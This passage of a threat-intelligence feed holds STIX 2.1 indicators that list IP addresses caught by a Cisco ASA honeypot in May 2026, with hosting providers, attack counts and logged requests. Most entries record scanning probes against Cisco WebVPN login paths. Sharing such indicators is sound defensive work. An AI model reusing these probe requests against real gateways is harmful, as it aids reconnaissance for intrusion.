            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--fc6985ed-69bd-4522-b263-5c4c11cb6938",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T16:52:24.309Z",
          "last_seen": "2026-05-29T10:55:59.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--7175e18d-419c-45fe-82e6-85575be79345",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 51,
          "first_seen": "2026-05-03T13:13:35.744Z",
          "last_seen": "2026-05-29T15:39:00.701Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--e3cab3f5-1e99-4fe6-bd4d-baedbebfc711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-11T11:59:23.791Z",
          "last_seen": "2026-05-29T11:07:53.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--41a379b0-3173-449e-878f-3c6b042f330d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T00:29:37.516Z",
          "last_seen": "2026-05-06T00:57:32.615Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-03T12:31:27.400Z",
          "last_seen": "2026-05-22T11:44:48.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--994de14e-6488-4223-9362-0b0c99ee7ec2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-16T01:15:49.407Z",
          "last_seen": "2026-05-16T01:15:58.036Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8390342b-8bfc-4cc5-beeb-334d41a98c05",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99f3ba7b-eef3-4fcc-aa4f-32e0c59849d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-07T10:34:23.519Z",
          "last_seen": "2026-05-23T09:17:49.197Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1aa1f1e6-2641-47b1-9c27-b88617d1f9c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-08T20:39:50.032Z",
          "last_seen": "2026-05-20T19:45:50.048Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e50c636-72b8-49d4-be25-f24048f70ae4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T05:11:46.415Z",
          "last_seen": "2026-05-14T06:18:11.244Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3b666309-efb8-418a-a8cc-485ad28f709b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-03T16:54:16.016Z",
          "last_seen": "2026-05-03T16:54:24.341Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a9dd5b8a-749f-481f-a496-ab60c6141faa",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--33279bdc-a473-4d6d-8a13-c7c2bff5fce5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T16:49:23.234Z",
          "last_seen": "2026-05-07T07:52:34.751Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--20e8a334-b1ac-42cf-8886-c3df4f2ded66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T18:21:24.538Z",
          "last_seen": "2026-05-30T03:57:05.533Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a06fb371-781c-474e-b1e8-4897421f0e8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-04T20:11:31.738Z",
          "last_seen": "2026-05-23T12:51:18.637Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--87eac3c7-4860-461f-9b0f-d82aa2844dec",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.67.103.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:20:10.000Z",
      "valid_until": "2026-06-02T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--3328c6f1-8815-4b7f-8892-31c5d8d85143",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T02:28:44.891Z",
          "last_seen": "2026-05-30T09:10:10.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--992041c1-897d-434a-b475-2025badb3033",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8eafcb2f-e4bf-46cd-b33a-7b466c7c2167",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-11T13:50:58.310Z",
          "last_seen": "2026-05-28T01:27:28.654Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ba1ba179-a29a-4676-8539-54a72f60543f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-16T07:15:03.640Z",
          "last_seen": "2026-05-31T01:32:10.245Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5315c325-510c-40c3-8e49-398792e699ee",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--64ebd8ec-0f0e-486e-8128-32b5ef9bb89d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
